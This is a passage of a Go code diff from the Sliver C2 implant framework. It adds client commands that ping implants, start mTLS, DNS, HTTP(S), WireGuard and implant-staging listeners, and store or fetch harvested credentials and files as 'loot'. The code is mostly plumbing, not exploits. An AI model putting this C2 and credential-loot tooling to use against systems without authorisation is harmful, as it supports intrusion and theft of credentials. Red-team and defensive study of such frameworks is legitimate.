session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
con.Printf("%s\n", session.Username)
}
+30
View File
@@ -0,0 +1,30 @@
package info
import (
"context"
insecureRand "math/rand"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// PingCmd - Send a round trip C2 message to an implant (does not use ICMP)
func PingCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
nonce := insecureRand.Intn(999999)
con.PrintInfof("Ping %d\n", nonce)
pong, err := con.Rpc.Ping(context.Background(), &sliverpb.Ping{
Nonce: int32(nonce),
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Pong %d\n", pong.Nonce)
}
}
-212
View File
@@ -1,212 +0,0 @@
package command
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"os"
"sort"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
// "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
// "github.com/golang/protobuf/proto"
)
func jobs(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
if ctx.Flags.Int("kill") != -1 {
killJob(uint32(ctx.Flags.Int("kill")), rpc)
} else if ctx.Flags.Bool("kill-all") {
killAllJobs(rpc)
} else {
jobs, err := rpc.GetJobs(context.Background(), &commonpb.Empty{})
if err != nil {
fmt.Printf(Warn+"%s", err)
return
}
// Convert to a map
activeJobs := map[uint32]*clientpb.Job{}
for _, job := range jobs.Active {
activeJobs[job.ID] = job
}
if 0 < len(activeJobs) {
printJobs(activeJobs)
} else {
fmt.Printf(Info + "No active jobs\n")
}
}
}
func killAllJobs(rpc rpcpb.SliverRPCClient) {
jobs, err := rpc.GetJobs(context.Background(), &commonpb.Empty{})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
return
}
for _, job := range jobs.Active {
killJob(job.ID, rpc)
}
}
func killJob(jobID uint32, rpc rpcpb.SliverRPCClient) {
fmt.Printf(Info+"Killing job #%d ...\n", jobID)
jobKill, err := rpc.KillJob(context.Background(), &clientpb.KillJobReq{
ID: jobID,
})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
} else {
fmt.Printf(Info+"Successfully killed job #%d\n", jobKill.ID)
}
}
func printJobs(jobs map[uint32]*clientpb.Job) {
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "ID\tName\tProtocol\tPort\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("ID")),
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("Protocol")),
strings.Repeat("=", len("Port")))
var keys []int
for _, job := range jobs {
keys = append(keys, int(job.ID))
}
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
for _, k := range keys {
job := jobs[uint32(k)]
fmt.Fprintf(table, "%d\t%s\t%s\t%d\t\n", job.ID, job.Name, job.Protocol, job.Port)
}
table.Flush()
}
func startMTLSListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
server := ctx.Flags.String("server")
lport := uint16(ctx.Flags.Int("lport"))
fmt.Printf(Info + "Starting mTLS listener ...\n")
mtls, err := rpc.StartMTLSListener(context.Background(), &clientpb.MTLSListenerReq{
Host: server,
Port: uint32(lport),
Persistent: ctx.Flags.Bool("persistent"),
})
if err != nil {
fmt.Printf("\n"+Warn+"%s\n", err)
} else {
fmt.Printf("\n"+Info+"Successfully started job #%d\n", mtls.JobID)
}
}
func startDNSListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
domains := strings.Split(ctx.Flags.String("domains"), ",")
for _, domain := range domains {
if !strings.HasSuffix(domain, ".") {
domain += "."
}
}
lport := uint16(ctx.Flags.Int("lport"))
fmt.Printf(Info+"Starting DNS listener with parent domain(s) %v ...\n", domains)
dns, err := rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
Domains: domains,
Port: uint32(lport),
Canaries: !ctx.Flags.Bool("no-canaries"),
Persistent: ctx.Flags.Bool("persistent"),
})
if err != nil {
fmt.Printf("\n"+Warn+"%s\n", err)
} else {
fmt.Printf("\n"+Info+"Successfully started job #%d\n", dns.JobID)
}
}
func startHTTPSListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
domain := ctx.Flags.String("domain")
website := ctx.Flags.String("website")
lport := uint16(ctx.Flags.Int("lport"))
cert, key, err := getLocalCertificatePair(ctx)
if err != nil {
fmt.Printf("\n"+Warn+"Failed to load local certificate %v", err)
return
}
fmt.Printf(Info+"Starting HTTPS %s:%d listener ...\n", domain, lport)
https, err := rpc.StartHTTPSListener(context.Background(), &clientpb.HTTPListenerReq{
Domain: domain,
Website: website,
Port: uint32(lport),
Secure: true,
Cert: cert,
Key: key,
ACME: ctx.Flags.Bool("lets-encrypt"),
Persistent: ctx.Flags.Bool("persistent"),
})
if err != nil {
fmt.Printf("\n"+Warn+"%s\n", err)
} else {
fmt.Printf("\n"+Info+"Successfully started job #%d\n", https.JobID)
}
}
func getLocalCertificatePair(ctx *grumble.Context) ([]byte, []byte, error) {
if ctx.Flags.String("cert") == "" && ctx.Flags.String("key") == "" {
return nil, nil, nil
}
cert, err := ioutil.ReadFile(ctx.Flags.String("cert"))
if err != nil {
return nil, nil, err
}
key, err := ioutil.ReadFile(ctx.Flags.String("key"))
if err != nil {
return nil, nil, err
}
return cert, key, nil
}
func startHTTPListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
domain := ctx.Flags.String("domain")
lport := uint16(ctx.Flags.Int("lport"))
fmt.Printf(Info+"Starting HTTP %s:%d listener ...\n", domain, lport)
http, err := rpc.StartHTTPListener(context.Background(), &clientpb.HTTPListenerReq{
Domain: domain,
Website: ctx.Flags.String("website"),
Port: uint32(lport),
Secure: false,
Persistent: ctx.Flags.Bool("persistent"),
})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
} else {
fmt.Printf(Info+"Successfully started job #%d\n", http.JobID)
}
}
+4
View File
@@ -0,0 +1,4 @@
Jobs
=====
Implements commands related to starting/killing jobs like `jobs` and starting C2 listeners (`mtls`, `http`, etc.)
+57
View File
@@ -0,0 +1,57 @@
package jobs
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// DNSListenerCmd - Start a DNS lisenter
func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
domains := strings.Split(ctx.Flags.String("domains"), ",")
for _, domain := range domains {
if !strings.HasSuffix(domain, ".") {
domain += "."
}
}
lhost := ctx.Flags.String("lhost")
lport := uint16(ctx.Flags.Int("lport"))
con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
dns, err := con.Rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
Domains: domains,
Host: lhost,
Port: uint32(lport),
Canaries: !ctx.Flags.Bool("no-canaries"),
Persistent: ctx.Flags.Bool("persistent"),
})
con.Println()
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Successfully started job #%d\n", dns.JobID)
}
}
+49
View File
@@ -0,0 +1,49 @@
package jobs
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// HTTPListenerCmd - Start an HTTP listener
func HTTPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
domain := ctx.Flags.String("domain")
lhost := ctx.Flags.String("lhost")
lport := uint16(ctx.Flags.Int("lport"))
con.PrintInfof("Starting HTTP %s:%d listener ...\n", domain, lport)
http, err := con.Rpc.StartHTTPListener(context.Background(), &clientpb.HTTPListenerReq{
Domain: domain,
Website: ctx.Flags.String("website"),
Host: lhost,
Port: uint32(lport),
Secure: false,
Persistent: ctx.Flags.Bool("persistent"),
})
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Successfully started job #%d\n", http.JobID)
}
}
+77
View File
@@ -0,0 +1,77 @@
package jobs
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"io/ioutil"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// HTTPSListenerCmd - Start an HTTPS listener
func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
domain := ctx.Flags.String("domain")
website := ctx.Flags.String("website")
lhost := ctx.Flags.String("lhost")
lport := uint16(ctx.Flags.Int("lport"))
cert, key, err := getLocalCertificatePair(ctx)
if err != nil {
con.Println()
con.PrintErrorf("Failed to load local certificate %s\n", err)
return
}
con.PrintInfof("Starting HTTPS %s:%d listener ...\n", domain, lport)
https, err := con.Rpc.StartHTTPSListener(context.Background(), &clientpb.HTTPListenerReq{
Domain: domain,
Website: website,
Host: lhost,
Port: uint32(lport),
Secure: true,
Cert: cert,
Key: key,
ACME: ctx.Flags.Bool("lets-encrypt"),
Persistent: ctx.Flags.Bool("persistent"),
})
con.Println()
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Successfully started job #%d\n", https.JobID)
}
}
func getLocalCertificatePair(ctx *grumble.Context) ([]byte, []byte, error) {
if ctx.Flags.String("cert") == "" && ctx.Flags.String("key") == "" {
return nil, nil, nil
}
cert, err := ioutil.ReadFile(ctx.Flags.String("cert"))
if err != nil {
return nil, nil, err
}
key, err := ioutil.ReadFile(ctx.Flags.String("key"))
if err != nil {
return nil, nil, err
}
return cert, key, nil
}
+104
View File
@@ -0,0 +1,104 @@
package jobs
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"os"
"sort"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// JobsCmd - Manage server jobs (listeners, etc)
func JobsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if ctx.Flags.Int("kill") != -1 {
jobKill(uint32(ctx.Flags.Int("kill")), con)
} else if ctx.Flags.Bool("kill-all") {
killAllJobs(con)
} else {
jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Convert to a map
activeJobs := map[uint32]*clientpb.Job{}
for _, job := range jobs.Active {
activeJobs[job.ID] = job
}
if 0 < len(activeJobs) {
printJobs(activeJobs)
} else {
con.PrintInfof("No active jobs\n")
}
}
}
func printJobs(jobs map[uint32]*clientpb.Job) {
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "ID\tName\tProtocol\tPort\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("ID")),
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("Protocol")),
strings.Repeat("=", len("Port")))
var keys []int
for _, job := range jobs {
keys = append(keys, int(job.ID))
}
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
for _, k := range keys {
job := jobs[uint32(k)]
fmt.Fprintf(table, "%d\t%s\t%s\t%d\t\n", job.ID, job.Name, job.Protocol, job.Port)
}
table.Flush()
}
func jobKill(jobID uint32, con *console.SliverConsoleClient) {
con.PrintInfof("Killing job #%d ...\n", jobID)
jobKill, err := con.Rpc.KillJob(context.Background(), &clientpb.KillJobReq{
ID: jobID,
})
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Successfully killed job #%d\n", jobKill.ID)
}
}
func killAllJobs(con *console.SliverConsoleClient) {
jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
for _, job := range jobs.Active {
jobKill(job.ID, con)
}
}
+46
View File
@@ -0,0 +1,46 @@
package jobs
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// MTLSListenerCmd - Start an mTLS listener
func MTLSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
lhost := ctx.Flags.String("lhost")
lport := uint16(ctx.Flags.Int("lport"))
con.PrintInfof("Starting mTLS listener ...\n")
mtls, err := con.Rpc.StartMTLSListener(context.Background(), &clientpb.MTLSListenerReq{
Host: lhost,
Port: uint32(lport),
Persistent: ctx.Flags.Bool("persistent"),
})
con.Println()
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Successfully started job #%d\n", mtls.JobID)
}
}
+128
View File
@@ -0,0 +1,128 @@
package jobs
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"net/url"
"strconv"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// StageListenerCmd --url [tcp://ip:port | http://ip:port ] --profile name
func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
profileName := ctx.Flags.String("profile")
listenerURL := ctx.Flags.String("url")
if profileName == "" || listenerURL == "" {
con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
return
}
// parse listener url
stagingURL, err := url.Parse(listenerURL)
if err != nil {
con.PrintErrorf("Listener-url format not supported")
return
}
stagingPort, err := strconv.ParseUint(stagingURL.Port(), 10, 32)
if err != nil {
con.PrintErrorf("error parsing staging port: %v\n", err)
return
}
profile := generate.GetImplantProfileByName(profileName, con)
if profile == nil {
con.PrintErrorf("Profile not found\n")
return
}
stage2, err := generate.GetSliverBinary(profile, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
switch stagingURL.Scheme {
case "http":
ctrl := make(chan bool)
con.SpinUntil("Starting HTTP staging listener...", ctrl)
stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
Protocol: clientpb.StageProtocol_HTTP,
Data: stage2,
Host: stagingURL.Hostname(),
Port: uint32(stagingPort),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error starting HTTP staging listener: %s\n", err)
return
}
con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID())
case "https":
cert, key, err := getLocalCertificatePair(ctx)
if err != nil {
con.Println()
con.PrintErrorf("Failed to load local certificate %s\n", err)
return
}
ctrl := make(chan bool)
con.SpinUntil("Starting HTTPS staging listener...", ctrl)
stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
Protocol: clientpb.StageProtocol_HTTPS,
Data: stage2,
Host: stagingURL.Hostname(),
Port: uint32(stagingPort),
Cert: cert,
Key: key,
ACME: ctx.Flags.Bool("lets-encrypt"),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error starting HTTPS staging listener: %v\n", err)
return
}
con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID())
case "tcp":
ctrl := make(chan bool)
con.SpinUntil("Starting TCP staging listener...", ctrl)
stageListener, err := con.Rpc.StartTCPStagerListener(context.Background(), &clientpb.StagerListenerReq{
Protocol: clientpb.StageProtocol_TCP,
Data: stage2,
Host: stagingURL.Hostname(),
Port: uint32(stagingPort),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error starting TCP staging listener: %v\n", err)
return
}
con.PrintInfof("Job %d (tcp) started\n", stageListener.GetJobID())
default:
con.PrintErrorf("Unsupported staging protocol: %s\n", stagingURL.Scheme)
return
}
}
+47
View File
@@ -0,0 +1,47 @@
package jobs
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// WGListenerCmd - Start a WireGuard listener
func WGListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
lport := uint16(ctx.Flags.Int("lport"))
nport := uint16(ctx.Flags.Int("nport"))
keyExchangePort := uint16(ctx.Flags.Int("key-port"))
con.PrintInfof("Starting Wireguard listener ...\n")
wg, err := con.Rpc.StartWGListener(context.Background(), &clientpb.WGListenerReq{
Port: uint32(lport),
NPort: uint32(nport),
KeyPort: uint32(keyExchangePort),
Persistent: ctx.Flags.Bool("persistent"),
})
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Successfully started job #%d\n", wg.JobID)
}
}
+5
View File
@@ -0,0 +1,5 @@
Loot
=====
Client loot command implementations
+75
View File
@@ -0,0 +1,75 @@
package loot
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// LootAddCredentialCmd - Add a credential type loot
func LootAddCredentialCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
prompt := &survey.Select{
Message: "Choose a credential type:",
Options: []string{
clientpb.CredentialType_API_KEY.String(),
clientpb.CredentialType_USER_PASSWORD.String(),
},
}
credType := ""
survey.AskOne(prompt, &credType, survey.WithValidator(survey.Required))
name := ctx.Flags.String("name")
if name == "" {
namePrompt := &survey.Input{Message: "Credential Name: "}
con.Println()
survey.AskOne(namePrompt, &name)
con.Println()
}
loot := &clientpb.Loot{
Type: clientpb.LootType_LOOT_CREDENTIAL,
Name: name,
Credential: &clientpb.Credential{},
}
switch credType {
case clientpb.CredentialType_USER_PASSWORD.String():
loot.CredentialType = clientpb.CredentialType_USER_PASSWORD
usernamePrompt := &survey.Input{Message: "Username: "}
survey.AskOne(usernamePrompt, &loot.Credential.User)
passwordPrompt := &survey.Input{Message: "Password: "}
survey.AskOne(passwordPrompt, &loot.Credential.Password)
case clientpb.CredentialType_API_KEY.String():
loot.CredentialType = clientpb.CredentialType_API_KEY
usernamePrompt := &survey.Input{Message: "API Key: "}
survey.AskOne(usernamePrompt, &loot.Credential.APIKey)
}
loot, err := con.Rpc.LootAdd(context.Background(), loot)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Successfully added loot to server (%s)\n", loot.LootID)
}
+60
View File
@@ -0,0 +1,60 @@
package loot
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// LootFetchCmd - Display the contents of or download a piece of loot
func LootFetchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
loot, err := SelectLoot(ctx, con.Rpc)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
loot, err = con.Rpc.LootContent(context.Background(), loot)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Handle loot based on its type
switch loot.Type {
case clientpb.LootType_LOOT_FILE:
PrintLootFile(con.App.Stdout(), loot)
case clientpb.LootType_LOOT_CREDENTIAL:
PrintLootCredential(con.App.Stdout(), loot)
}
if ctx.Flags.String("save") != "" {
savedTo, err := saveLootToDisk(ctx, loot)
if err != nil {
con.PrintErrorf("Failed to save loot %s\n", err)
}
if savedTo != "" {
con.PrintInfof("Saved loot to %s\n", savedTo)
}
}
}
+203
View File
@@ -0,0 +1,203 @@
package loot
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
----------------------------------------------------------------------
Loot helper functions for use by other commands
*/
import (
"bytes"
"context"
"errors"
"fmt"
"path"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/desertbit/grumble"
)
var (
// ErrInvalidFileType - Invalid file type
ErrInvalidFileType = errors.New("invalid file type")
// ErrInvalidLootType - Invalid loot type
ErrInvalidLootType = errors.New("invalid loot type")
// ErrNoLootFileData - No loot file data
ErrNoLootFileData = errors.New("no loot file data")
)
// AddLootFile - Add a file as loot
func AddLootFile(rpc rpcpb.SliverRPCClient, name string, fileName string, data []byte, isCredential bool) error {
if len(data) < 1 {
return ErrNoLootFileData
}
var lootType clientpb.LootType
if isCredential {
lootType = clientpb.LootType_LOOT_CREDENTIAL
} else {
lootType = clientpb.LootType_LOOT_FILE
}
var lootFileType clientpb.FileType
if isText(data) || strings.HasSuffix(fileName, ".txt") {
lootFileType = clientpb.FileType_TEXT
} else {
lootFileType = clientpb.FileType_BINARY
}
loot := &clientpb.Loot{
Name: name,
Type: lootType,
FileType: lootFileType,
File: &commonpb.File{
Name: path.Base(fileName),
Data: data,
},
}
if lootType == clientpb.LootType_LOOT_CREDENTIAL {
loot.CredentialType = clientpb.CredentialType_FILE
}
_, err := rpc.LootAdd(context.Background(), loot)
return err
}
// AddLootUserPassword - Add user/password as loot
func AddLootUserPassword(rpc rpcpb.SliverRPCClient, name string, user string, password string) error {
loot := &clientpb.Loot{
Name: name,
Type: clientpb.LootType_LOOT_CREDENTIAL,
CredentialType: clientpb.CredentialType_USER_PASSWORD,
Credential: &clientpb.Credential{
User: user,
Password: password,
},
}
_, err := rpc.LootAdd(context.Background(), loot)
return err
}
// AddLootAPIKey - Add a api key as loot
func AddLootAPIKey(rpc rpcpb.SliverRPCClient, name string, apiKey string) error {
loot := &clientpb.Loot{
Name: name,
Type: clientpb.LootType_LOOT_CREDENTIAL,
CredentialType: clientpb.CredentialType_API_KEY,
Credential: &clientpb.Credential{
APIKey: apiKey,
},
}
_, err := rpc.LootAdd(context.Background(), loot)
return err
}
// SelectCredentials - An interactive menu for the user to select a piece of loot
func SelectCredentials(con *console.SliverConsoleClient) (*clientpb.Loot, error) {
allLoot, err := con.Rpc.LootAllOf(context.Background(), &clientpb.Loot{
Type: clientpb.LootType_LOOT_CREDENTIAL,
})
if err != nil {
con.PrintErrorf("%s\n", err)
}
// Render selection table
buf := bytes.NewBufferString("")
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
for _, loot := range allLoot.Loot {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.CredentialType, loot.LootID)
}
table.Flush()
options := strings.Split(buf.String(), "\n")
options = options[:len(options)-1]
if len(options) == 0 {
return nil, errors.New("no loot to select from")
}
selected := ""
prompt := &survey.Select{
Message: "Select a piece of credentials:",
Options: options,
}
err = survey.AskOne(prompt, &selected)
if err != nil {
return nil, err
}
for index, value := range options {
if value == selected {
return allLoot.Loot[index], nil
}
}
return nil, errors.New("loot not found")
}
// SelectLoot - Interactive menu for the user to select a piece loot (all types)
func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot, error) {
// Fetch data with optional filter
filter := ctx.Flags.String("filter")
var allLoot *clientpb.AllLoot
var err error
if filter == "" {
allLoot, err = rpc.LootAll(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
} else {
lootType, err := lootTypeFromHumanStr(filter)
if err != nil {
return nil, ErrInvalidFileType
}
allLoot, err = rpc.LootAllOf(context.Background(), &clientpb.Loot{Type: lootType})
if err != nil {
return nil, err
}
}
// Render selection table
buf := bytes.NewBufferString("")
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
for _, loot := range allLoot.Loot {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
}
table.Flush()
options := strings.Split(buf.String(), "\n")
options = options[:len(options)-1]
if len(options) == 0 {
return nil, errors.New("no loot to select from")
}
selected := ""
prompt := &survey.Select{
Message: "Select a piece of loot:",
Options: options,
}
err = survey.AskOne(prompt, &selected)
if err != nil {
return nil, err
}
for index, value := range options {
if value == selected {
return allLoot.Loot[index], nil
}
}
return nil, errors.New("loot not found")
}
+104
View File
@@ -0,0 +1,104 @@
package loot
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"os"
"path"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// LootAddLocalCmd - Add a local file to the server as loot
func LootAddLocalCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
localPath := ctx.Args.String("path")
